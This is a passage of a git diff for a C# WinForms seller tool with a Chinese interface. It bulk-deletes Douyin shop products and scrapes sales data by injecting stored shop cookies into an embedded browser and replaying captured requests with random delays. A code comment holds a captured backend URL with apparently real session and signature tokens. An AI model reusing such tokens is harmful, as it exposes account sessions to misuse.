totalNumBase = shop.OfflineProductCount; + totalNum = shop.OfflineProductCount; + } + int setNum = 0; // 删除商品数量(因关键词和近日修改不删除因素存在,因此少于或等于商品循环计数) + int currentNum = 0; // 商品循环计数 + int page = 0; + int pageSize = 50; + string deleteProductMessage = ""; + List productList = new List(); + + var waitDeleteHtml = ""; + + while ((productList.Count < shopOperatecount && currentNum < totalNumBase) || page == 0) + { + page += 1; + currentNum += pageSize; + if (cancellationTokenSource.IsCancellationRequested) + { + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { Invoke(new Action(() => { row.Cells["colStatus"].Value = "删除中断"; })); } + break; + } + + // 根据上下架信息,获取商品列表 + var productIsOnlineFlag = 0; + if (!isDelOnline) + productIsOnlineFlag = 1; + waitDeleteHtml = shopProductBLL.GetShopProductListData(shop, productIsOnlineFlag, page, pageSize, notOperateChangeDaysTick); + Thread.Sleep(Randomx.GetId(500, 1000)); + + if (waitDeleteHtml.Contains("\"code\":10000")) + { + totalNum = BaseRegex.GetIntJson(ref waitDeleteHtml, "total"); + if (isDelOnline) + shop.OnlineProductCount = totalNum; + else + shop.OfflineProductCount = totalNum; + + if (shopOperatecount > totalNumBase) + shopOperatecount = totalNumBase; + if (currentNum > totalNumBase) + currentNum = totalNumBase; + + Invoke(new Action(() => + { + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) + { + if (isDelOnline) + row.Cells["colOnSaleCount"].Value = totalNumBase; + else + row.Cells["colOffSaleCount"].Value = totalNumBase; + } + })); + if (totalNum == 0) + { + deleteProductMessage = "删除结束,店铺没有在售商品"; + if (!isDelOnline) + deleteProductMessage = "删除结束,店铺没有仓库商品"; + Invoke(new Action(() => + { + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { row.Cells["colStatus"].Value = deleteProductMessage; } + })); + break; + } + + try + { + JObject jObj = JObject.Parse(waitDeleteHtml); + var jObjDataStr = jObj["data"]?["data"]?.ToString(); + if (!string.IsNullOrEmpty(jObjDataStr)) + { + var addList = JsonHelper.DeserializeJsonToList(jObjDataStr); + if (addList != null) + { + // 有关键词的过滤符合关键词 + if (keywords.Any()) + addList = addList.Where(p => keywords.Any(key => p.name.Contains(key))).ToList(); + // 过滤有销量的商品 + if (isNotOperateHasSales) + addList = addList.Where(p => lstProductIdHasSales.Contains(p.product_id.ToString()) == false).ToList(); + + productList.AddRange(addList); + } + } + deleteProductMessage = "已获取:" + currentNum + ",符合条件:" + productList.Count + ",在售商品获取中..."; + if (!isDelOnline) + deleteProductMessage = "已获取:" + currentNum + ",符合条件:" + productList.Count + ",仓库商品获取中..."; + Invoke(new Action(() => + { + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { row.Cells["colStatus"].Value = deleteProductMessage; } + })); + } + catch (Exception ex) + { + BaseMsgForm.ShowError("获取商品发生错误:" + ex.Message); + } + } + else + { + var failMessage = BaseRegex.GetStringJson(ref waitDeleteHtml, "sub_msg"); + if (string.IsNullOrEmpty(failMessage)) + failMessage = waitDeleteHtml; + deleteProductMessage = ("删除失败," + failMessage).TrimEnd(','); + Invoke(new Action(() => + { + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { row.Cells["colStatus"].Value = deleteProductMessage; } + })); + Thread.Sleep(1000); + } + } + + // 操作数大于满足筛选条件商品数时,操作数改为商品数 + if (shopOperatecount > productList.Count) + shopOperatecount = productList.Count; + + if (shopOperatecount == 0) + { + deleteProductMessage = "删除完成"; + Invoke(new Action(() => + { + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { row.Cells["colStatus"].Value = deleteProductMessage; } + })); + } + + if (productList.Count == 0) + { + deleteProductMessage = "删除完成"; + Invoke(new Action(() => + { + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { row.Cells["colStatus"].Value = deleteProductMessage; } + })); + } + + string list = ""; + for (int i = 0; i < productList.Count && i < shopOperatecount; i++) + { + if (cancellationTokenSource.IsCancellationRequested) + { + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { Invoke(new Action(() => { row.Cells["colStatus"].Value = "删除中断"; })); } + break; + } + + if (shop.PayStatus != 1 && shop.TrialOperateCount >= 100) + { + Invoke(new Action(() => + { + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { row.Cells["colStatus"].Value = "当前为试用版,请购买专业版"; } + })); + break; + } + + Invoke(new Action(() => + { + deleteProductMessage = "正在删除在售商品,第 " + (i + 1) + " 件商品,共 " + shopOperatecount + " 件商品"; + if (!isDelOnline) + deleteProductMessage = "正在删除仓库商品,第 " + (i + 1) + " 件商品,共 " + shopOperatecount + " 件商品"; + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { row.Cells["colStatus"].Value = deleteProductMessage; } + })); + Thread.Sleep(50); + + var product = productList[i]; + setNum++; + list += product.product_id + ","; + if (i % 1 == 0 || i == shopOperatecount - 1) + { + Thread.Sleep(Randomx.GetId(100, 300)); + list = list.TrimEnd(','); + var delResultCode = shopProductBLL.DeleteProduct(shop, list); + if (!delResultCode.Contains("\"code\":10000")) + { + Thread.Sleep(Randomx.GetId(1000, 3000)); + delResultCode = shopProductBLL.DeleteProduct(shop, list); + } + Thread.Sleep(Randomx.GetId(100, 300)); + if (delResultCode.Contains("\"code\":10000")) + { + updateTrailOperationCount(shop); + deleteProductMessage = "正在删除在售商品,第 " + setNum + " 件商品,共 " + shopOperatecount + " 件商品"; + if (!isDelOnline) + deleteProductMessage = "正在删除仓库商品,第 " + setNum + " 件商品,共 " + shopOperatecount + " 件商品"; + Thread.Sleep(Randomx.GetId(800, 1600)); + } + else + { + var failMessage = BaseRegex.GetStringJson(ref delResultCode, "sub_msg"); + if (string.IsNullOrEmpty(failMessage)) + failMessage = BaseRegex.GetStringJson(ref delResultCode, "status_reason"); + if (string.IsNullOrEmpty(failMessage)) + failMessage = delResultCode; + FailedMessages += "店铺:" + shop.ShopAccount + ",商品id:" + list + ",错误信息:" + failMessage + "\r\n"; + deleteProductMessage = ("删除失败," + failMessage).TrimEnd(','); + } + list = ""; + Invoke(new Action(() => + { + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { row.Cells["colStatus"].Value = deleteProductMessage; } + })); + Thread.Sleep(Randomx.GetId(100, 200)); + if (deleteProductMessage.Contains("违规") || deleteProductMessage.Contains("禁售")) + continue; + if (deleteProductMessage.Contains("失败")) + continue; + if (i == shopOperatecount - 1) + { + deleteProductMessage = "删除完成"; + Invoke(new Action(() => + { + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { row.Cells["colStatus"].Value = deleteProductMessage; } + })); + } + } + + // 上架过程中更新显示仓库商品数 + if (i % 100 == 99 || i == shopOperatecount - 1) + GetShopProduct(shop, false); + } + }); + lstOperateTask.Add(t); + while (lstOperateTask.Where(ts => !ts.IsCompleted).ToList().Count >= 20) + { + Thread.Sleep(1000); + } + } + Task.WaitAll(lstOperateTask.ToArray()); + + Invoke(new Action(() => + { + this.btnOnline.Enabled = this.btnOffline.Enabled = this.btnDelOffSale.Enabled = this.btnDelOnSale.Enabled = true; + if (!cancellationTokenSource.IsCancellationRequested) + { + var text = "删除完成!"; + if (!string.IsNullOrEmpty(FailedMessages)) + { + text += "部分商品删除失败,请查看详情。"; + btnFailedDetail.Visible = true; + } + this.statusBar.lblTaskStatus.Text = text; + BaseMsgForm.ShowInfo(text); + } + else + { + var text = "删除中断!"; + if (!string.IsNullOrEmpty(FailedMessages)) + { + text += "部分商品删除失败,请查看详情。"; + btnFailedDetail.Visible = true; + } + this.statusBar.lblTaskStatus.Text = text; + BaseMsgForm.ShowInfo(text); + } + })); + }, cancellationTokenSource.Token); + } + + private void btnDelOffSale_Click(object sender, EventArgs e) + { + DeleteProduct(false); + } + + private void btnStop_Click(object sender, EventArgs e) + { + if (cancellationTokenSource != null) + cancellationTokenSource.Cancel(); + } + + private void buttonEx1_Click(object sender, EventArgs e) + { + //DouyinApi api = new DouyinApi(shop); + //api.JsonData = new Dictionary(); + //api.JsonData.Add("product_id", 3527978631504783585.ToString()); + //api.JsonData.Add("show_draft", "false"); + //string detailHtml = api.GetProductDetail(); + + //Thread.Sleep(Randomx.GetId(100, 300)); + //list = list.TrimEnd(','); + //var resultHtml = GetProductUpdateRule(shop, list); + + //api.JsonData = new Dictionary(); + //api.JsonData.Add("product_id", "3527978631504783585"); + //api.JsonData.Add("delay_rule", "{\\\"enable\\\":\\\"true\\\",\\\"config_type\\\":\\\"1\\\",\\\"config_value\\\":\\\"1644595100\\\",\\\"start_time\\\":\\\"1643040000\\\",\\\"end_time\\\":\\\"1644249599\\\"}"); + ////api.JsonData.Add("delivery_delay_day", "2"); + //api.JsonData.Add("commit", "true"); + //string editHtml = api.GetProductEdit(); + } + + // /product/getProductUpdateRule + string GetProductUpdateRule(DouShopLoginInfo shop, string catId) + { + Dictionary dictionary = new Dictionary(); + dictionary.Add("category_id", catId); + DouyinApi douApi = new DouyinApi(shop); + douApi.JsonData = dictionary; + var resultUpdateRule = douApi.GetResultUpdateRule(); + return resultUpdateRule; + } + + private void chkNotOperateChangeDays_CheckedChanged(object sender, EventArgs e) + { + isNotOperateChangeDays = chkNotOperateChangeDays.Checked; + } + + private void chkNotOperateHasSales_CheckedChanged(object sender, EventArgs e) + { + isNotOperateHasSales = chkNotOperateHasSales.Checked; + } + + /// + /// 获取有订单商品Id列表 + /// + private void GetHasSales(DouShopLoginInfo shop) + { + currentShop = shop; + + if (webBrowser == null) + { + Invoke(new Action(() => + { + webBrowser = CEFBrowser.CreateChromiumWebBrowser("about:blank", false); + webBrowser.KeyboardHandler = new KeyboardHandler(); + webBrowser.Dock = DockStyle.Fill; + Helper.CustomResourceRequestHandlerLocal resourceRequestHandler = new Helper.CustomResourceRequestHandlerLocal(); + resourceRequestHandler.ResourceLoadCompleteEvent += RequestHandler_ResourceLoadCompleteEvent; + webBrowser.RequestHandler = new CustomRequestHandler(resourceRequestHandler); + //webBrowser.AddressChanged += WebBrowser_AddressChanged; + //webBrowser.FrameLoadEnd += webBrowser_FrameLoadEnd; + webBrowser.SendToBack(); + this.splitContainer2.Panel1.Controls.Add(webBrowser); + })); + } + + while (!webBrowser.IsBrowserInitialized || webBrowser.IsLoading) + continue; + + var cookie = shop.Cookies; + CEFBrowser.DeleteCookie(webBrowser.RequestContext.GetCookieManager(null)); + var t = CEFBrowser.SetCookieAsync("jinritemai.com", cookie, webBrowser.RequestContext.GetCookieManager(null)); + t.Wait(2000); + Thread.Sleep(500); + + webBrowser.Load("https://fxg.jinritemai.com/ffa/g/list"); + while (webBrowser.IsLoading) + { + Thread.Sleep(1000); + } + Thread.Sleep(3000); + + //var jsStr = clickJsElementStr + + // "function clickBtn(txt) {\r\n" + + // " var elem = getElement(txt);\r\n" + + // " if (elem) elem.click(); return 'success';\r\n" + + // " return 'no_element';\r\n" + + // "}\r\n" + + // "clickBtn('>销量<');\r\n"; + //var t1 = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr); + //t1.Wait(); + Thread.Sleep(7000); + } + + private void RequestHandler_ResourceLoadCompleteEvent(object sender, string url, string postData, string responseData, CefSharp.IRequest iRequest) + { + //https://fxg.jinritemai.com/product/tproduct/list?page=0&sort=desc&order_field=sell_num&pageSize=20&draft_status=0&comment_percent=&group_id=&pay_type=&business_type=4&is_online=1&check_status=3&status=0&supply_status=&appid=1&__token=683a0546937232e2e0d21188589a5530&_bid=ffa_goods&_lid=302249513096&msToken=udDi1jFk2Fmdc_1qNCDWVU5dz9pW5BKEY7AkYNVyxTstwAO1HINoZ7Fyqooa6nrFa8BEveaiPGNj6blY4FcT1o7teFMphSe5mhhkCXNSuGkeXYnTs_b8gVkFXzyOvoklyQ==&X-Bogus=DFSzswRYKvxANJnIS-a5lnCr9FFo&_signature=_02B4Z6wo00001qBs2XQAAIDBaNAQaeqXQfKgbP3AAModrEa90knffDfTcbggWfyLBAglax928BpmhSvK4SBwi8ISWvslk-q001kEk4JvaFx83ukywUiOKp8Z7WhPdXURXs68gTqdXo8RiELhe5 + if (url.StartsWith("https://fxg.jinritemai.com/product/tproduct/list?page=0") && url.Contains("&pay_type=")/* && url.Contains("sort=desc&order_field=sell_num")*/) + { + var listUrl = url; + var referrerUrl = iRequest.ReferrerUrl; + var result = responseData; + Dictionary Headers = new Dictionary(); + foreach (var hk in iRequest.Headers.AllKeys) + { + Headers[hk] = iRequest.Headers[hk]; + } + if (currentShop != null) + { + isReadShopSales = true; + + Task.Run(() => + { + int total = -1; + int number = 0; + for (int i = 0; i < 10000; i++) + { + number += 20; + result = ""; + for (int j = 0; j < 3 && !result.Contains("\"st\":0"); j++) + { + CommonSimRequest simRequest = new CommonSimRequest(); + simRequest.Accept = "application/json, text/plain, */*"; + if (Headers.ContainsKey("Accept")) + simRequest.Accept = Headers["Accept"]; + if (Headers.ContainsKey("UserAgent")) + simRequest.UserAgent = Headers["UserAgent"]; + var cookie = currentShop.Cookies; + + result = simRequest.Request_Get(listUrl.Replace("page=0", "page=" + i).Replace("&pay_type=", "&pay_type=&sell_num_min=1"), referrerUrl, new Dictionary(), cookie); + if (j > 0) + { + Thread.Sleep(Randomx.GetId(2000, 3000)); + } + } + + if (result.Contains("\"st\":0") && !cancellationTokenSource.IsCancellationRequested) + { + if (!lstGetSalesSuccesShop.Contains(currentShop)) + lstGetSalesSuccesShop.Add(currentShop); + + if (total == -1) + { + total = BaseRegex.GetIntJson(ref result, "total"); + } + var jObj = JObject.Parse(result); + var jArr = jObj["data"] as JArray; + foreach (var productObj in jArr) + { + var prod = JsonHelper.SerializeObject(productObj); + var pId = BaseRegex.GetStringJson(ref prod, "product_id"); + var sales = BaseRegex.GetIntJson(ref prod, "sell_num"); + if (sales == 0) + { + number = 99999999; + break; + } + else + { + lstProductIdHasSales.Add(pId); + } + } + Thread.Sleep(Randomx.GetId(2000, 3000)); + result = ""; + } + else + { + while (lstGetSalesSuccesShop.Contains(currentShop)) + lstGetSalesSuccesShop.Remove(currentShop); + break; + } + + if (number >= total) + break; + } + + currentShop = null; + Thread.Sleep(3000); + isReadShopSales = false; + }); + } + else + { + } + } + } + + bool isWebBrowserTop = false; + private void label12_Click(object sender, EventArgs e) + { + if (webBrowser == null) + return; + if (isWebBrowserTop) + { + isWebBrowserTop = false; + webBrowser.SendToBack(); + } + else + { + isWebBrowserTop = true; + webBrowser.BringToFront(); + } + } + + private void updateTrailOperationCount(DouShopLoginInfo shop) + { + if (shop.PayStatus != 1) + { + shop.TrialOperateCount++; + StartUp.SaveDouShopLoginInfo(); + } + } + + string clickJsElementStr = "function getElement(txt, elem) {\r\n" + + " var child = document.body.firstElementChild;\r\n" + + " if (elem) child = elem\r\n" + + " var element1 = null;\r\n" + + " while (child) {\r\n" + + " if (child.innerHTML.indexOf(txt) >= 0) {\r\n" + + " element1 = child;\r\n" + + " if (child.firstElementChild) {\r\n" + + " child = child.firstElementChild; continue;\r\n" + + " } else break;\r\n" + + " }\r\n" + + " child = child.nextElementSibling;\r\n" + + " }\r\n" + + " if (element1) {\r\n" + + " return element1;\r\n" + + " } else return error;\r\n" + + "}\r\n"; + } +} diff --git a/TEMUKJD/KJDForms/UploadForms/ShopProductForm.resx b/TEMUKJD/KJDForms/UploadForms/ShopProductForm.resx new file mode 100644 index 0000000..b788926 --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/ShopProductForm.resx @@ -0,0 +1,153 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/UploadForms/SpecialDelaySendForm.Designer.cs b/TEMUKJD/KJDForms/UploadForms/SpecialDelaySendForm.Designer.cs new file mode 100644 index 0000000..980bdd3 --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/SpecialDelaySendForm.Designer.cs @@ -0,0 +1,474 @@ +namespace LittleRabbit.LittleRabbitForms.UploadForms +{ + partial class SpecialDelaySendForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); + this.splitContainer1 = new System.Windows.Forms.SplitContainer(); + this.ucGroupBoxEx2 = new LittleRabbit.UserComponent.UcGroupBoxEx(this.components); + this.label1 = new System.Windows.Forms.Label(); + this.txtNotOperateDays = new System.Windows.Forms.TextBox(); + this.txtTotalCount = new System.Windows.Forms.TextBox(); + this.label26 = new System.Windows.Forms.Label(); + this.chkIsNotOperateDays = new System.Windows.Forms.CheckBox(); + this.ucGroupBoxEx1 = new LittleRabbit.UserComponent.UcGroupBoxEx(this.components); + this.btnRefresh = new LittleRabbit.UserControls.ButtonEx(); + this.btnStop = new LittleRabbit.UserControls.ButtonEx(); + this.btnStart = new LittleRabbit.UserControls.ButtonEx(); + this.splitContainer3 = new System.Windows.Forms.SplitContainer(); + this.splitContainer2 = new System.Windows.Forms.SplitContainer(); + this.dgvShop = new LittleRabbit.UserComponent.DataGridViewEx(); + this.colSelect = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.colShopId = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colShopName = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colLoginStatus = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colMessage = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.panelEx1 = new DevComponents.DotNetBar.PanelEx(); + this.pnlShowError = new DevComponents.DotNetBar.PanelEx(); + this.splitContainer4 = new System.Windows.Forms.SplitContainer(); + this.statusBar = new LittleRabbit.UserControls.StatusBarUserControl(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).BeginInit(); + this.splitContainer1.Panel1.SuspendLayout(); + this.splitContainer1.Panel2.SuspendLayout(); + this.splitContainer1.SuspendLayout(); + this.ucGroupBoxEx2.SuspendLayout(); + this.ucGroupBoxEx1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer3)).BeginInit(); + this.splitContainer3.Panel1.SuspendLayout(); + this.splitContainer3.Panel2.SuspendLayout(); + this.splitContainer3.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).BeginInit(); + this.splitContainer2.Panel1.SuspendLayout(); + this.splitContainer2.Panel2.SuspendLayout(); + this.splitContainer2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.dgvShop)).BeginInit(); + this.panelEx1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer4)).BeginInit(); + this.splitContainer4.Panel1.SuspendLayout(); + this.splitContainer4.SuspendLayout(); + this.SuspendLayout(); + // + // splitContainer1 + // + this.splitContainer1.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer1.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer1.Location = new System.Drawing.Point(0, 0); + this.splitContainer1.Name = "splitContainer1"; + this.splitContainer1.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer1.Panel1 + // + this.splitContainer1.Panel1.Controls.Add(this.ucGroupBoxEx2); + this.splitContainer1.Panel1.Controls.Add(this.ucGroupBoxEx1); + this.splitContainer1.Panel1.Controls.Add(this.btnStop); + this.splitContainer1.Panel1.Controls.Add(this.btnStart); + // + // splitContainer1.Panel2 + // + this.splitContainer1.Panel2.Controls.Add(this.splitContainer3); + this.splitContainer1.Size = new System.Drawing.Size(1139, 601); + this.splitContainer1.SplitterDistance = 81; + this.splitContainer1.TabIndex = 4; + // + // ucGroupBoxEx2 + // + this.ucGroupBoxEx2.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left))); + this.ucGroupBoxEx2.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ucGroupBoxEx2.BorderStyle = LittleRabbit.UserComponent.UcGroupBoxEx.GroupBoxBorderStyle.SQUARE; + this.ucGroupBoxEx2.Controls.Add(this.label1); + this.ucGroupBoxEx2.Controls.Add(this.txtNotOperateDays); + this.ucGroupBoxEx2.Controls.Add(this.txtTotalCount); + this.ucGroupBoxEx2.Controls.Add(this.label26); + this.ucGroupBoxEx2.Controls.Add(this.chkIsNotOperateDays); + this.ucGroupBoxEx2.Location = new System.Drawing.Point(117, 2); + this.ucGroupBoxEx2.Name = "ucGroupBoxEx2"; + this.ucGroupBoxEx2.Size = new System.Drawing.Size(272, 81); + this.ucGroupBoxEx2.TabIndex = 400; + this.ucGroupBoxEx2.TabStop = false; + this.ucGroupBoxEx2.Text = "参数"; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label1.Location = new System.Drawing.Point(98, 51); + this.label1.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(104, 17); + this.label1.TabIndex = 406; + this.label1.Text = "天内修改过的商品"; + // + // txtNotOperateDays + // + this.txtNotOperateDays.Location = new System.Drawing.Point(60, 49); + this.txtNotOperateDays.Name = "txtNotOperateDays"; + this.txtNotOperateDays.Size = new System.Drawing.Size(36, 21); + this.txtNotOperateDays.TabIndex = 404; + this.txtNotOperateDays.Text = "7"; + this.txtNotOperateDays.TextChanged += new System.EventHandler(this.txtNotOperateDays_TextChanged); + // + // txtTotalCount + // + this.txtTotalCount.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.txtTotalCount.Location = new System.Drawing.Point(78, 18); + this.txtTotalCount.Margin = new System.Windows.Forms.Padding(2); + this.txtTotalCount.Name = "txtTotalCount"; + this.txtTotalCount.Size = new System.Drawing.Size(54, 23); + this.txtTotalCount.TabIndex = 381; + this.txtTotalCount.Text = "999999"; + // + // label26 + // + this.label26.AutoSize = true; + this.label26.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label26.Location = new System.Drawing.Point(12, 21); + this.label26.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0); + this.label26.Name = "label26"; + this.label26.Size = new System.Drawing.Size(68, 17); + this.label26.TabIndex = 380; + this.label26.Text = "设置数量:"; + // + // chkIsNotOperateDays + // + this.chkIsNotOperateDays.AutoSize = true; + this.chkIsNotOperateDays.Location = new System.Drawing.Point(15, 51); + this.chkIsNotOperateDays.Name = "chkIsNotOperateDays"; + this.chkIsNotOperateDays.Size = new System.Drawing.Size(48, 16); + this.chkIsNotOperateDays.TabIndex = 405; + this.chkIsNotOperateDays.Text = "跳过"; + this.chkIsNotOperateDays.UseVisualStyleBackColor = true; + // + // ucGroupBoxEx1 + // + this.ucGroupBoxEx1.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left))); + this.ucGroupBoxEx1.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.ucGroupBoxEx1.BorderStyle = LittleRabbit.UserComponent.UcGroupBoxEx.GroupBoxBorderStyle.SQUARE; + this.ucGroupBoxEx1.Controls.Add(this.btnRefresh); + this.ucGroupBoxEx1.Location = new System.Drawing.Point(2, 2); + this.ucGroupBoxEx1.Name = "ucGroupBoxEx1"; + this.ucGroupBoxEx1.Size = new System.Drawing.Size(116, 81); + this.ucGroupBoxEx1.TabIndex = 399; + this.ucGroupBoxEx1.TabStop = false; + this.ucGroupBoxEx1.Text = "基础"; + // + // btnRefresh + // + this.btnRefresh.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnRefresh.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnRefresh.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnRefresh.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnRefresh.ForeColor = System.Drawing.Color.White; + this.btnRefresh.Location = new System.Drawing.Point(12, 31); + this.btnRefresh.Margin = new System.Windows.Forms.Padding(2); + this.btnRefresh.Name = "btnRefresh"; + this.btnRefresh.Size = new System.Drawing.Size(90, 25); + this.btnRefresh.TabIndex = 398; + this.btnRefresh.Text = "刷新店铺"; + this.btnRefresh.UseVisualStyleBackColor = false; + this.btnRefresh.Click += new System.EventHandler(this.btnRefresh_Click); + // + // btnStop + // + this.btnStop.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnStop.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnStop.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnStop.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnStop.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnStop.ForeColor = System.Drawing.Color.White; + this.btnStop.Location = new System.Drawing.Point(1058, 8); + this.btnStop.Margin = new System.Windows.Forms.Padding(2); + this.btnStop.Name = "btnStop"; + this.btnStop.Size = new System.Drawing.Size(72, 25); + this.btnStop.TabIndex = 395; + this.btnStop.Text = "停止设置"; + this.btnStop.UseVisualStyleBackColor = false; + this.btnStop.Click += new System.EventHandler(this.btnStop_Click); + // + // btnStart + // + this.btnStart.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnStart.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnStart.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnStart.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnStart.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnStart.ForeColor = System.Drawing.Color.White; + this.btnStart.Location = new System.Drawing.Point(982, 8); + this.btnStart.Margin = new System.Windows.Forms.Padding(2); + this.btnStart.Name = "btnStart"; + this.btnStart.Size = new System.Drawing.Size(72, 25); + this.btnStart.TabIndex = 387; + this.btnStart.Text = "开始设置"; + this.btnStart.UseVisualStyleBackColor = false; + this.btnStart.Click += new System.EventHandler(this.btnStart_Click); + // + // splitContainer3 + // + this.splitContainer3.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer3.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.splitContainer3.Location = new System.Drawing.Point(0, 0); + this.splitContainer3.Name = "splitContainer3"; + this.splitContainer3.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer3.Panel1 + // + this.splitContainer3.Panel1.Controls.Add(this.splitContainer2); + // + // splitContainer3.Panel2 + // + this.splitContainer3.Panel2.Controls.Add(this.splitContainer4); + this.splitContainer3.Size = new System.Drawing.Size(1139, 516); + this.splitContainer3.SplitterDistance = 486; + this.splitContainer3.TabIndex = 1; + // + // splitContainer2 + // + this.splitContainer2.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer2.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer2.Location = new System.Drawing.Point(0, 0); + this.splitContainer2.Name = "splitContainer2"; + // + // splitContainer2.Panel1 + // + 